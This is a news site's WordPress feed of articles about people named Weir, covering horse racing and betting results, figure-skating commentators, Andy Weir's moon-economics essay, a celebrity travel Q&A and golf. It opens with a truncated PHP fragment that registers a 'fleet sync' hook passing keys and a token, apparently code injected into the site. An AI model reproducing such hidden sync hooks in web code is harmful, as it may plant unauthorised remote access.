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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Weir – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 11 Aug 2018 08:07:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Weir – Brief News https://briefnews.eu 32 32 Weir hopes Lad’s form piques Everest interest https://briefnews.eu/weir-hopes-lads-form-piques-everest-interest/ https://briefnews.eu/weir-hopes-lads-form-piques-everest-interest/#respond Sat, 11 Aug 2018 08:07:12 +0000 http://briefnews.eu/weir-hopes-lads-form-piques-everest-interest/ DARREN Weir has a message for the three remaining slot holders in The Everest — don’t forget Voodoo Lad after he took out the Group 3 Aurie’s Star Stakes (1200m) at Flemington.

“There would be worse horses than him I reckon,” Weir said.

MOODY’S CHEER FOR WINX TO SET RECORD

It was another day of Weir domination with the master trainer winning seven races — four of them at Flemington, including Choisborder, The Statesman and Theanswermyfriend.

Weir also trained winners at Morphettville, Newcastle and Moe.

Weir said he wasn’t certain what path Voodoo Lad would follow.

He suggested Voodoo Lad could try to make amends in the Sir Rupert Clarke Stakes, where he finished an unlucky fourth last year.

“There’s other options, I’ve got a bit to think about,” he said. “The Gilgai Stakes back here or the Schillaci Stakes at Caulfield on the same day as The Everest.”

Voodoo Lad has had three starts this campaign for a first-up win in the Sir John Monash Stakes and a second behind Vega Magic in the Bletchingly Stakes, before Saturday’s win.

Voodoo Lad was the recipient of a brilliant ride from Damien Oliver who made the most of a rare opportunity to ride for Weir.

Voodoo Lad ($ 4.60) settled last and Oliver trekked a path down the middle of the track on the inside of his rivals but had to work to grab Home Of The Brave, who led and had dashed clear.

Voodoo Lad drew away to defeat Home Of The Brave ($ 3.90) by three quarters of a length with Brave Song ($ 4) a length-and-a-half away third.

Oliver said he followed Weir’s instructions to a tee with the key being to ride the horse negatively in the early stages.

“They didn’t go that hard but Darren’s focus was to get him to switch off and relax and then use his turn of foot,” Oliver said.

Oliver said when Voodoo Lad got to Home Of The Brave the other horse kicked back but in the finish he drew away nicely.

“He’s got an exceptional last 400m when he switches off,” Oliver said.

He said when Weir started out training he used to ride a lot for him but now he was happy to get the “odd breadcrumb” knowing he had his team of regular jockeys.

James Cummings’ assistant trainer Reg Fleming said Home Of The Brave would take great benefit from his Australian debut.

Jockey Damian Lane described the performance as a good, tough effort.

TAB BETTING REVIEW

FLEMINGTON

RACE 1

Punters were able to pick the winner in a very open first race at Flemington. With five runners between $ 4 and $ 6, the best backed Jaameh ($ 6) was too good. My Nordic Hero, who had firmed on race day from $ 12 to $ 4.80, finished second, with no third dividend for Kilimanjaro.

RACE 2

One of the best backed runners of the day Prezado ($ 2.30) was defeated by Bandipur ($ 4.80).

There were several late bets for Prezado, including a $ 10,000 wager. Second favourite Invincible Al ($ 4.60) grabbed third place.

RACE 3

It was a good result for the bookies as roughie Crockett ($ 23) scorched down the outside.

The Regan Bayliss ridden gelding drifted from $ 16 to $ 23 today. The $ 4 favourite O’Tauto was second with the third best backed Muswellbrook ($ 5.50) third.

RACE 4

The $ 5 second favourite Spanner Head, who was a slight firmer today, was victorious. Half of the market was on Harmattan but the mare never looked likely and finished out of the placings. Roughies Violent Snow ($ 16) and Chiavari ($ 19) finished second and third.

RACE 5

The best backed runner of the day Gold Mag ($ 1.95) was beaten by $ 10 chance Choisbroder. The Darren Weir-trained gelding was the big firmer in the race from $ 19 to $ 10 on race day. There was a big dividend for third from The Card Players ($ 51).

RACE 6

The punters were on the money with The Statesman ($ 7) getting past the post first. The Darren Weir trained gelding held over double any other runner in the race. Fontein Lad ($ 14) finished second and I Boogi ($ 19) third.

RACE 7

Punters were on the money in the feature race with the best backed runner Voodoo Lad ($ 5) victorious. The gelding defied a drift from $ 3.70 to $ 5 to win the race from Brave Song ($ 4) and I Am A Star ($ 13).

RACE 8

The second and third best backed runners fought out a great contest down the Flemington straight with Theanswermyfriend ($ 7) holding on from Nights Watch ($ 6). The well supported Moss N Dale finished unplaced with Odeon ($ 15) finishing third.

RACE 9

The late firmer Sikandarabad ($ 4.20) got the job done in the lucky last in a tight finish. The fourth best backed runner shortened from $ 5 to $ 4.20 and won ahead of Al Galayel ($ 4.60) and the heavily backed favourite Mantastic ($ 2.70).

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  • Tara Lipinski and Johnny Weir are former Olympic figure skaters who are now commentators for the Winter Games.
  • The best friends have received a lot of attention for their fabulous outfits that are reminiscent of characters from the “Hunger Games.”
  • Weir recently confirmed that famous “Hunger Games” announcer Caesar Flickerman has been a longtime muse.

Former Olympians Johnny Weir and Tara Lipinski, who are now commentators, have attracted all kinds of attention for their wild sartorial choices throughout the first few days at the Pyeongchang Olympics.

A lot of people have started comparing Weir and Lipinski’s extravagant outfits to characters from the Capitol in the “Hunger Games,”  and think they may be trying to dress like them.

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  • Andy Weir, author of “The Martian,” released a novel called “Artemis” on Tuesday.
  • In the book, tourists get to the moon by launching in spaceships from Kenya.
  • Weir thinks building a lunar spaceport in an African country isn’t as far-fetched as it sounds.
  • Kenya could circumvent out-of-date US space regulations, launch rockets with less fuel, and improve the economics of space travel.

Kenya isn’t the first country you’d think of to locate a spaceport for launching people to and from the moon, but in “Artemis“, a new sci-fi novel by “The Martian” author Andy Weir, that is precisely the case.

Weir’s tale takes place during the 2080s at Artemis — humanity’s first and only lunar city. It’s a riveting story about a high-stakes heist featuring Jasmine “Jazz” Bashara, a Saudi-born woman and witty smuggler who has lived inside the aluminum bubbles of Artemis since she was a kid.

moon colony lunar city illustration artemis sci-fi novel andy weirSamantha Lee/Business InsiderTrue to Weir’s typical style, the book is built around real-life science, engineering, and — at least this time around — economics. He says the point of doing this is to make his stories seem more real, and thus engaging and entertaining.

But if that’s the case, why skip an established space center like Cape Canaveral, Fla., and start fresh in Kenya?

“One of the biggest impediments to the commercial space industry right now isn’t technology, its policy,” Weir told Business Insider. “I’ve listened to the things that commercial space companies have said — I’ve been at SpaceX a few times — and the consistent thing that pretty much everybody says is, it is such a pain in the ass to deal with the policies. That’s always their biggest problem.”

Kenya, however, doesn’t really have such rules — which could make it the perfect place to base an enormously expensive lunar-launch facility.

Our spaceflight regulations are out of date

The disdain against spaceflight regulations is not for wont to skip safety rules, says Weir — far from it: A safe track record is one of the most valuable assets of a space business.

What he’s talking about are sometimes strange rules created in the 1950s and 1960s to satisfy the Outer Space Treaty, which curtails weaponizing spacecraft, among other concerns. But it couldn’t plan too much for the rapid advance of space technologies.

“In the US, which is kind of in the forefront of commercial space, we have a whole bunch of really antiquated rules — like 50, 60 years old,” Weir said. “And they’re really, really out-of-date.”

As an example, Weir mentioned the work of Moon Express team, which is trying to win the Google Lunar X Prize by launching a robot to the moon and beaming live video.

moon express landerNASA/Moon Express

“They’ve gotten to the point where they can do it for about $ 300,000” by shrinking down electronics and hitching a ride in a normally unused part of a powerful rocket, Weir said.

“But one of the rules, one of the laws, is ‘Hey, if you’re gonna launch from from the US, then you have to be able to communicate on these FM frequencies … ‘so that we can monitor it and ensure that you’re not violating the treaty,” Weir said.

These days, however, many smaller, more efficient, and higher-bandwidth radio technologies exist, and Moon Express plans to use one of them to win millions of dollars.

“And so what sucks is that this ball of requirements is … they also have to have this other clunky radio that just sucks their battery dry aboard, to meet this kind of arbitrary and ludicrously out-of-date rule,” Weir said, significantly adding to their spacecraft’s size and weight. “And it’s really holding them up.”

Kenya has launch appeal

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That’s why in “Artemis”, Weir routes all passengers and cargo to the moon through the fictional Kenya Space Corporation.

“So what I thought was, there are market forces at play that people haven’t tapped into yet, and reducing policy could bring a space industry to your country,” Weir said. “And so that’s what Kenya did [in my book] — Kenya said like, ‘Hey we have two things that people want: we can set policy to be as friendly as possible for a space industry, and we’re on the equator.'”

Being located as close to the equator for rocket launches is not a new idea. Author Jules Verne had the foresight in his 1865 novel “From the Earth to the Moon” to place a fictional US location for launching a bullet to the lunar surface near Cape Canaveral.

The closer one is the equator, the less fuel it takes to make it to orbit.

Photographers take pictures as the Soyuz MS-04 spacecraft carrying the crew of Jack Fischer of the U.S. and Fyodor Yurchikhin of Russia blasts off to the International Space Station (ISS) from the launchpad at the Baikonur Cosmodrome, Kazakhstan, April 20, 2017. REUTERS/Shamil ZhumatovThomson Reuters“By being on the equator, that makes launching cheaper because you get 500 meters per second of the Earth’s rotational speed for free, which is a big deal,” Weir said. “So within the story the idea is they said, ‘We’ll commandeer the land … We will tax you less than you get taxed anywhere else. You don’t have to worry about union rules, you can do whatever you want…’ Just as pro-business-friendly as they possibly could be. And within the story, that works.”

Weir said he considered other countries for placing his fictional KSC launch complex, like Brazil, but ultimately stuck with Kenya because it seemed more interesting.

“Of the African countries on the equator Kenya it is the most advanced, in terms of economics. They have the strongest economy, they have the most stable government, and so on,” Weir said. “Artemis was built about 50 years from now, so I can say, ‘Oh yeah, things got a lot more stable in Africa.'”

He added that other Cold War-era US rules also made Kenya an appealing location by not applying.

“One of the main things is that every [employee] has to be American citizens … Also, you’re not allowed to cooperate or work with China in any way, which is kind of rough if you want to do some sort of mass-production, right?” Weir said.

“It’s just this huge pain in the ass that’s set up for a world where only governments do space missions,” he said. “So it would be nice if that didn’t exist.

 

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]]> https://briefnews.eu/kenya-could-be-the-heart-of-moon-colonization-says-the-martian-author-andy-weir-heres-why/feed/ 0 ‘The Martian’ author Andy Weir solved moon economics to make his new book ‘Artemis’ believable https://briefnews.eu/the-martian-author-andy-weir-solved-moon-economics-to-make-his-new-book-artemis-believable/ https://briefnews.eu/the-martian-author-andy-weir-solved-moon-economics-to-make-his-new-book-artemis-believable/#respond Tue, 14 Nov 2017 18:18:46 +0000 http://briefnews.eu/the-martian-author-andy-weir-solved-moon-economics-to-make-his-new-book-artemis-believable/ BI Graphics_Lunar CitySamantha Lee/Business Insider

  • “The Martian” author Andy Weir has a new novel about a heist on the moon called “Artemis.”
  • The book, which goes on sale Tuesday, strives for a high level of scientific and economic realism to make its story believable.
  • The author used real-world economics to create a reason his fictional moon colony might exist.
  • According to Weir’s calculations, in a few decades it may cost $ 70,000 for a two-week vacation to the moon.


Editor’s note: “Artemis” is the second sci-fi novel written by Andy Weir, author of the blockbuster sci-fi novel “The Martian.” The new book goes on sale Tuesday. Just as Weir accomplished with “The Martian,” he strived for a high level of scientific realism with “Artemis.”

But his new story is not a tale of survival like the first.

Instead, “Artemis” is a fictional heist story that takes place at the moon’s first city (also called Artemis). Weir wanted to make the plot as believable as possible, so he became an “armchair economist” and drafted an in-depth financial argument for his lunar colony based on real-world market forces.

When Weir offered us a 3,000-word (and spoiler-free) treatise laying out the economics behind his fictional moon city, we couldn’t resist. Here’s why he thinks lunar vacations just might make the first permanent lunar colony a reality.

Introduction

Artemis Final Book JacketCrown PublishingAre you a pedantic little s—? Do you ask questions like “Why does the Federation have starships if they can beam people hundreds of light-years?” or “Why don’t the Galactic Empire and Rebel Alliance just mass-produce droids with piloting skills instead of risking their own lives?”

Well, good. So am I.

“Artemis” takes place in a city on the Moon. Lunar colonies in sci-fi usually have medium to high levels of bulls— in their economics. Yeah, I know, nobody reads sci-fi for an economics lesson. But I want it to at least make sense.

So this paper is all about Artemis’s economy and how it works. There are no spoilers for the story, so you can freely read it beforehand if you’re the sort of person who likes bonus material so much you’ll read it before you read the actual story.

Why isn’t this in the book?

Because it’s boring. Hell, if we learned anything from “The Phantom Menace” it’s this: never start a sci-fi story with a description of complex macroeconomics.

You might not even make it through this paper. That’s okay, it’s not supposed to be entertaining. If you get bored, stop reading. This paper is for the one percenters — the folks who have nagging doubts in their suspension of belief because something sticks in their craw. I’m one of those people, and for me the economics has to make sense for a setting to work.

Price point

Andy Weir explores JSCs Lunar Lab. Image Credit NASA James Blair and Lauren HarnettNASA/James Blair and Lauren HarnettIf you could have a lunar vacation for $ 70,000, would you do it? Many people would jump at the chance. They’d get a second mortgage just to pay for it. This, in a nutshell, is the economic foundation of Artemis. It’s all about tourism, and it’s based on the presumption that the price for that tourism can be driven down to the point that ordinary people can afford it.

The pricey part of anything space-related is getting it to space in the first place. It’s incredibly expensive to put mass into LEO (Low Earth Orbit). And if you want to put something on the moon, you have to get a whole ship into LEO that can then travel to the moon. If that impediment were removed, or greatly reduced, we’d have a thriving space tourism industry.

My belief is that we are already on track to a commercial space industry that will do just that.

Money? What money?

I did the research for this in 2015, so all the monetary references in this paper refer to prices and values in 2015 US dollars.

Current cost to LEO

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Before I talk about predictions, let’s talk about reality. How much does it cost to put mass into LEO right now?

First off, I start with the assumption that this has to be an actual profitable system. Not something that only exists on government support or subsidy. So I’m disregarding launch systems that are government-run. They have no profit motive, so even if they charge for freight to LEO and even if that charge is low, those are not real economic values. The system would not scale or sustain itself.

The cheapest way to get mass to LEO (at the time of this writing) is with a SpaceX Falcon 9 booster. They charge $ 61.2 million for the launch, and it can put 13,150kg of mass into LEO. So right now, that means it costs $ 4,653 per kilogram.

Now you have some context for comparing the real world to the imagined one I’m about to show you.

My bulls— assumption

Boeing 777REUTERS/Andy Clark

I have absolutely nothing to back this up but instinct. But here it is, the core assumption I have made that enables the world of “Artemis.”

Assumption: The commercial space industry, through competition and engineering advances, will settle down to the same fuel-to-overhead ratio as the modern airline industry.

Okay, so what do I mean by that? How did airlines get into this?

The airline industry is a good parallel for the space industry. Both involve transporting people and freight. Both require extremely expensive, complex vehicles with maintenance overhead. Both consume fuel.

So I have assumed, right or wrong, that a fully profitable commercial space industry would eventually become very much like the commercial airline industry. So let’s look at the airline industry for some clues as to what things cost.

Fuel overhead ratio

Airlines need staff to fly and maintain their aircraft. They need to pay applicable taxes and gate fees. They need to buy new planes, repair worn-out parts, manage their company pension plan, and everything else a service industry has to do. But by far, the largest chunk of their non-payroll operating budget goes to fuel. That’s what costs the most for any given flight.

So the question is this: What percentage of an airline’s total revenues ultimately goes toward buying fuel? That’s what we’re going to work out first.

I have no special understanding of the airline industry. I just went online and did my own research. I looked at ticket prices, noted the price of jet fuel, etc. This could be wildly flawed, but it’s a good place to start.

First off, I had to choose an aircraft to work with. I selected the Boeing 777-300ER. It’s one of the most popular aircraft in the world, servicing long-haul flights be all the major airlines. It’s fuel efficient, effective, and has a stellar safety record.

Here are some stats for the 777-300ER:

boeing 777 300ER statistics business insider bi graphicsSamantha Lee/Business Insider

The next thing I did was look as some long-haul flights around the world. I wanted to get an even spread of information, so I looked at three different routes, of differing lengths, flown by three different airlines. A more comprehensive study would have to include dozens or maybe hundreds, but I just did three — I’m just trying to make a foundation for a story, not get investor money.

So, to that end, I looked at a United Airlines flight from New York to London, an Air France from Paris to Tokyo, and a Qantas flight from Los Angeles to Sydney. Each of these flights are on 777-300ER aircraft, and their ticket prices are all for the same day in late 2015. Note: the United flight prices are rough averages based on samples of different rates – their web page at the time was cagey on actual ticket prices.

Here’s what I learned:

economics international flights statistics business insider bi graphics.Samantha Lee/Business Insider

For each flight, I noted the price of each class of ticket, then worked out the take — the total amount of money the airline gets if every seat on the plane is sold at its listed cost. The fuel consumed is based on the flight duration and the fuel consumption rate of the aircraft. The cost of that fuel is based on the market price of jet fuel on the day I looked up those tickets, which was $ 0.475/kg. (Actually, the price was 38 cents per liter, but I wanted price per kg and jet fuel has a density of 0.8kg/L).

I was surprised to see that they all has such similar fuel overhead ratios. It makes me feel like my crackpot theory might actually work out.

Yeah, I don’t have enough data, but screw it. I’m going to use the value 16.5%, which is roughly the average of those three. So for the rest of this paper I’ll assume a commercial airline spends 16.5% of its take on fuel.

A commercial spacecraft

spacex falcon 9 rocket launch nrol 76 usaf 34006001860_8c45f28e69_oSpaceX/Flickr (public domain)

Okay, great. I have a rough idea of fuel overhead. So what? What the hell would an efficient commercial spacecraft be like? What would it weigh? How many people could it carry? What would it use for fuel and how much would that fuel cost?

I don’t have answers to any of that, of course. So I’ll just pull a couple more assumptions right out of my ass.

Assumption: A passenger spacecraft would weigh the same as a passenger aircraft capable of carrying the same number of people.

Okay, yeah. That’s a big assumption. But, to be clear, I’m talking about dry weight (not including fuel). And aircraft are pretty similar to spacecraft in a lot of ways. They’re pressure vessels, they have life support systems to keep everyone on board alive, they have big heavy engines, pilots, etc. So that’s what I’m going with.

And for my comparison I’ll use, of course, the Boeing 777-300ER. Same as before. I’m also assuming this is a trip to a transfer ship or space station. So the spacecraft itself doesn’t have to serve as home to the passengers. All it does is get them to orbit. This means there’s really no need for first class at all. The 12-minute trip to orbit does not require high-end seating for anyone. So instead of its normal configuration, I’m going with the high-density version that can seat 550 people.

And now on to the final bit of guesswork.

Assumption: The commercial space industry will use hydrogen-oxygen fuel

The thing that matters most about rocket fuel is a property called “specific impulse.” I don’t want to bore you with physics (I’m here to bore you with economics) so I’ll just say this: specific impulse is a measure of how efficient a rocket fuel is. The higher a fuel’s specific impulse, the less of it you need to get a ship moving a given velocity. And hydrogen-oxygen fuel has the best specific impulse known. Also, it creates water as its exhaust, so there are no pollutants. And finally, it’s cheap to produce.

Right now, there are engineering limitations to using hydrogen-oxygen fuel. The main one being that it burns very hot — hotter than any engine can handle. But again, I’m assuming all these challenges get researched and solved by a profit-hungry industry.

The final piece of the puzzle is the cost of hydrogen and oxygen. This was a little harder to find. I was able to find reliable data on the 2002 price of bulk hydrogen, so I adjusted the 2002 dollars into 2015 dollars and got $ 0.93/kg. As for oxygen, I used the publicly available data on what NASA pays for it — $ 0.16/kg in 2015 dollars. The reaction requires one part hydrogen and eight parts oxygen (by mass), so the total fuel cost is $ 0.245/kg.

That’s the last bit of information we needed to calculate the…

Price of getting a person into space

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Okay, we have a ship that weighs 165,500kg and we’re going to put 550 passengers on it. We’ll give them 100kg each for their bodies and luggage. That’s a total mass of 215,500kg.

The specific impulse of hydrogen-oxygen fuel is 389s (yes, the unit for measuring specific impulse is “seconds”. It makes no intuitive sense, just roll with it). To get to LEO you need to accelerate by 9,800m/s. LEO actually only requires 7,800m/s, but you lose around 2,000m/s during the ascent to air resistance and other inefficiencies.

Again, I’m skipping over the physics (Tsiolkovsky’s Rocket Equation, if you’re curious) but those numbers mean we’ll need 12.04kg of fuel for every 1kg we want to put into LEO. We want to put 215,000kg into LEO, so we need 2,594,620kg of fuel.

At our calculated fuel cost ($ 0.245/kg) that means the total fuel cost for the launch is $ 637,200.

Now I get to use my airline fuel overhead figure. Airlines have 16.5% fuel overhead ratio and we’re going to assume the space industry will as well. So $ 637,109 is 16.5% of our total ticket take. And that means our total take is $ 3,861,266.

Our ship carries 550 passengers, meaning each passenger will have to pay

$ 7,020.48

Sorry to put that in dramatic bold print with a box around it, but I thought it was exciting. Would you pay seven thousand bucks to go to low Earth orbit? Millions of people would say “yes.”

What about freight?

I looked around at the prices for air freight and found that, on average, you can air mail 200kg of cargo for about the price it would take to send a person. This means people cost twice as much to ship as cargo. That makes sense — cargo doesn’t need seats, air pressure, bathrooms, or complimentary peanuts. For space travel, the cargo ships also wouldn’t need anywhere near as much safety. If a shipment of frozen food blows up on launch, replacing the cargo is trivial.

So I followed the aviation industry’s general pattern and decided that freight to LEO would end up costing about half as much as a human. Or, more importantly, would cost $ 7,020.48 per 200kg. So that means you can get mass to LEO for

$ 35.10 per kg!

Again, I apologize for the drama, but holy s—! That’s a hell of a lot less than the $ 4,653/kg it costs today.

Are such advances reasonable? Well, “Artemis” takes place in the 2080s, which is over 60 years from the time of this writing. Consider the advancements in the aviation industry from its beginnings in the 1930s to the 1990s. Yes, it’s possible. When enough money is up for grabs, anything’s possible.

What about getting from LEO to the Moon?

moonNASA Goddard Spaceflight Center

Okay, so we have people and cargo in LEO. So what? We want them on the Moon. Well, here’s where things bifurcate.

To get people to the Moon, they would make lunar cyclers. These are space hotels in a ballistic orbit (meaning: it doesn’t require fuel to maintain) that regularly visits Earth and the Moon. It would take 7 days to get to the Moon with this system. You still have to accelerate the people to catch up with the space hotel, but at least you don’t have to accelerate the hotel itself over and over. So the fuel cost is minimized.

It’s hard to say how much that would cost. But with a $ 35.10/kg cost to LEO, the mass of the hotel wouldn’t be too much of a financial burden for whatever company built it. I admit I didn’t work out the economics of the space hotel or what it would cost for your stay. But considering how cheap the cost of freight to LEO is, I’m sure it would be small compared to the rest of the trip. On the order of an actual hotel stay (and a hell of a lot more awesome).

But you still have to accelerate people up to the cycler and then decelerate them to land on the Moon.

According to my research, it takes a total of 5,930m/s of delta-v to get from LEO to the surface of the Moon. More physics and math happens here, but it means that for every kilogram of cargo you want to put on the lunar surface, you have to put 4.73kg of mass into LEO. 1kg of actual cargo, and 3.73kg of fuel to get that cargo to the Moon.

So what’s it cost to put freight on the Moon? Well, it would cost 4.73 times what it would cost to put the cargo in LEO. So, while it costs $ 35.10 to put a kilogram into LEO, it would cost $ 166.02 to put it on the surface of the Moon.

So what’s it cost to go to the moon!?

spacex bfr mars spaceship moon base 2SpaceX/YouTube

You have to get your body to LEO ($ 7020), and then soft-landed on the moon. So you end up needing the same overhead – 4.73 times the LEO cost.

$ 33,206.87

Yeah, I did the box/bold thing again. Call the cops, I don’t care. People would be very willing to pay $ 33,000 for a trip to the Moon.

What about the trip back? Well, it’s much cheaper, because you’re leaving the Moon’s gravity, not Earth’s. Plus, you don’t have to use rocket fuel to dump velocity at Earth — you can use the atmosphere to brake with. And you would probably also be using fuel generated on the Moon (aluminum and oxygen, both in massive supply on the Moon, make a good monopropellant), so even it wouldn’t have to be imported.

I didn’t do the math on the return trip, but let’s approximate it to half the trip out. So the round-trip is clocking in at about $ 45,000 (not including a total of 14 days’ stay in the space hotel).

What does it cost to stay on the Moon?

andy weir artemis moon city map crown publishingCopyright of Andy Weir, “Artemis”/Crown Publishing

You have to eat. You can eat Gunk if you want — that’s a product created right in Artemis out of algae. It’s nutritionally balanced and grown locally, so it’s nice and cheap. But if you want real food, you’ll have to eat imports. A typical person will eat 500 to 1000 grams of food per day (not including the water weight). We’ve established that lunar freight costs about $ 166/kg. So you’ll spend $ 80 to $ 160 every day just to eat. Not bad for an extravagant vacation.

Total cost

Accommodation and meal prices would be comparable to high-end hotels and restaurants on Earth. Say $ 160/day for food and $ 500/day for a hotel. Of course you’ll want to do stuff while you’re there, which will cost more money. So call it $ 800/day.

However long you want to stay on the moon, add 14 days (for the space hotel that takes you there and back) and multiply by $ 800. That’s your expenses on the trip itself. So let’s say you want a two-week stay. That’s a total of 28 days of expenses at $ 800, so $ 22,400. Round that up to $ 25,000 because vacations always cost more than you expect. That plus the $ 45,000 travel costs totals $ 70,000.

So I ask again: Would you pay $ 70,000 for a lunar vacation?

Copyright 2017 by Andy Weir.

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]]> https://briefnews.eu/the-martian-author-andy-weir-solved-moon-economics-to-make-his-new-book-artemis-believable/feed/ 0 Hartnell’s a worry for Weir https://briefnews.eu/hartnells-a-worry-for-weir/ https://briefnews.eu/hartnells-a-worry-for-weir/#respond Tue, 15 Aug 2017 07:56:26 +0000 http://briefnews.eu/hartnells-a-worry-for-weir/

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Hartnell will kick-off his spring campaign at Caulfield on Saturday.

LEO SCHLINKHerald Sun

DARREN Weir concedes race fitness is an issue with his star-studded band of Lawrence Stakes contenders, but is hopeful class will overcome conditioning question marks.

Weir has six nominations for Saturday’s 1400m Group 2 headed by Black Heart Bart, Tosen Stardom, Gailo Chop, Humidor, Storm Exhibit and Amelie’s Star.

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But with Cox Plate Plate runner-up Hartnell lurking at Caulfield, Weir is more hopeful than confident.

“I’ll probably start all of them at this stage and I’m looking forward to the day,” he said. “Probably the sad part is that I’m not sure any of them are wound up to win. But they’re all really good horses and good horses can often pull out great runs.”

Hartnell will kick-off his spring campaign at Caulfield on Saturday.

Hartnell will kick-off his spring campaign at Caulfield on Saturday.Source:Getty Images

Hartnell returns to Melbourne for the first time since his excellent Melbourne Cup third to Almandin, this time in James Cummings’ care. The seven-year-old impressed in a gallop at Caulfield on Tuesday.

“We were very happy with his work,” David Charles, the Melbourne representative for Godolphin, told AAP. “It was solid work ahead of Saturday and he’s ready to run well.

“He tracked around on his right leg and got into a beautiful rhythm.”

Randwick Guineas winner Inference is entered in both the Lawrence Stakes and Warwick Stakes in Sydney. Toorak Handicap winner He’s Our Rokkii and Australasian Oaks winner Abbey Marie are also among the Lawrence nominations.

Champion sprinter Lankan Rupee to tackle the Group 3 Spring Stakes at Morphettville instead of the Lawrence Stakes.

Originally published as Hartnell’s a worry for Weir

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]]> https://briefnews.eu/hartnells-a-worry-for-weir/feed/ 0 Celebrity traveller: Arabella Weir https://briefnews.eu/celebrity-traveller-arabella-weir/ https://briefnews.eu/celebrity-traveller-arabella-weir/#respond Fri, 09 Jun 2017 23:48:50 +0000 http://briefnews.eu/celebrity-traveller-arabella-weir/

WHAT IS YOUR MOST MEMORABLE HOLIDAY? 

When I was nine years old, my family and I headed for a two-week stay on a tiny spit of an island off Plockton, north west Scotland. Plockton gets warmed by the Gulf Stream, has palm trees and is incredibly picturesque. A distant relative had bought the island for £20 many years before. There is a very small house on it, with no electricity. The seals would come to the shore when we were swimming in the sea. We were based in London and drove up in one of the first VW campervans, a journey taking hours.

AND YOUR WORST? 

We had a scary moment a decade ago in Kenya. We were on safari and staying at Porini Camp and it was very rainy one day. Our jeep broke down in the bush and, as it only had canvas sides, if a lion had attacked it would have been serious. Thankfully we managed to get it going. 

BEST SOUVENIR?

A kitsch ceramic ornament of a pile of fruit and vegetables I picked up from Tuscany 25 years ago. 

WHAT WAS YOUR BEST READ?

Bram Stoker’s Dracula which was a fantastic holiday read, so scary, evocative and beautifully written. I found a copy lying around in a house we rented in Tuscany four years ago.

HOW DO YOU SPEND YOUR TIME ON HOLIDAY?

I like to be active, so usually book holidays where there are yoga classes or perhaps going on a walking holiday where your bags are carried each day for you. I don’t like to just sit on a beach any more, although I do like swimming in the sea. 

WHERE WOULD YOU REVISIT?

Plockton, or the Scottish Highlands as I have not been back for more than 20 years. 

WHERE NEXT?

I am off to Budapest for work, to shoot scenes for the new Keira Knightley movie about the French novelist Colette. In September I will start filming the new series of Two Doors Down in Paisley, in a studio which used to be an old whisky bond in Dumbarton in Scotland.

● Arabella Weir will be appearing at the Baillie Gifford Borders Book Festival (0844 357 1060/) in Scotland on June 16.

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]]> https://briefnews.eu/celebrity-traveller-arabella-weir/feed/ 0 Mike Weir hits hole-in-one before Masters' Par 3 contest shut down https://briefnews.eu/mike-weir-hits-hole-in-one-before-masters-par-3-contest-shut-down/ https://briefnews.eu/mike-weir-hits-hole-in-one-before-masters-par-3-contest-shut-down/#respond Wed, 05 Apr 2017 21:40:13 +0000 http://briefnews.eu/mike-weir-hits-hole-in-one-before-masters-par-3-contest-shut-down/

Mike Weir was right at home again at Augusta National after hitting a hole-in-one on the 130-yard fourth hole of the Par 3 course on Wednesday. 

The Canadian 2003 Masters champion was tied for the lead at three-under through six holes before severe weather forced the cancellation of the popular Par 3 Contest for the first time in history.

Bubba Watson and former U.S. Open champion Webb Simpson were first off the tee at the par-3 layout in between major storms that first cleared the course at 10 a.m. — then shut it down for good about 3 1-2 hours later. The start of the Par 3 Contest was delayed, but the two major champions made it through the nine-hole course.

The siren sounded soon after the Watson-Simpson group finished, and officials called off play and evacuated the grounds for the rest of the day. No winner was declared, meaning no one was saddled with the dreaded curse — no Par-3 Contest winner has ever gone on to capture the green jacket.

Masters chairman Billy Payne said the approaching weather gave officials no choice but to get people off the course.

“We share in the disappointment of our patrons, but the safety of everyone on our grounds is always our primary concern,” he said.

Before the day ended, competitive golf took a back seat to family for Simpson and Watson.

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]]> https://briefnews.eu/mike-weir-hits-hole-in-one-before-masters-par-3-contest-shut-down/feed/ 0 Weir trio facing big test https://briefnews.eu/weir-trio-facing-big-test/ https://briefnews.eu/weir-trio-facing-big-test/#respond Wed, 08 Feb 2017 08:52:19 +0000 http://briefnews.eu/weir-trio-facing-big-test/

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MELBOURNE, AUSTRALIA — JANUARY 21: Trainer Darren Weir after Big Duke won Race 6 during Melbourne Racing at Moonee Valley Racecourse on January 21, 2017 in Melbourne, Australia. (Photo by Vince Caligiuri/Getty Images)

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DARREN Weir concedes his trio contesting the CF Orr Stakes at Caulfield on Saturday faces a major challenge to defeat Malaguerra.

Weir has Black Heart Bart, Palentino and Lucky Hussler in the 1400m Group 1.

Malaguerra set a course record for 1200m when he won the Australian Stakes at Moonee Valley by two lengths over Black Heart Bart, with Palentino fourth.

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“It’s going to be hard to turn the tables especially as Black Heart Bart has drawn terribly, but then Malaguerra has drawn worse,” Weir said. “He galloped at Warrnambool on Tuesday with Lucky Hussler and Brad Rawiller was really with him.”

Black Heart Bart has drawn barrier 11 and Malaguerra 12. Malaguerra is a $ 3.80 favourite, Black Heart Bart is $ 4.20, Lucky Hussler is $ 7 and Palentino $ 15 with TAB fixed odds.

Malaguerra is favourite for the Orr Stakes on Saturday.

Malaguerra is favourite for the Orr Stakes on Saturday.Source:Getty Images

Weir said Black Heart Bart would be much better suited though over 1400m and also Caulfield.

Black Heart Bart has had two starts at the track and distance for wins in last year’s Victoria Handicap and Memsie Stakes. He also won the Underwood Stakes (1800m) at the track.

His only loss at the course came at the hands of Winx in the Caulfield Stakes.

In last year’s Orr Stakes, Lucky Hussler finished an unlucky second behind Suavito and Weir pointed out that he was also unlucky at his last start when seventh in the Magic Millions Cup.

Darren Weir admits it will be hard for Black Heart Bart to turn the tables on Malaguerra in the Orr Stakes.

Darren Weir admits it will be hard for Black Heart Bart to turn the tables on Malaguerra in the Orr Stakes.Source:Getty Images

“He should have won his last start as Brad didn’t come out when he should have. He’s come back in great shape and he’s a fit horse.”

Rawiller will ride Black Heart Bart on Saturday, Damien Lane will ride Lucky Hussler and Mark Zahra will be on Palentino.

Weir said Palentino had returned to work much more relaxed: “He’ll run well second up but he’ll peak third up at his next start in the Futurity Stakes.”

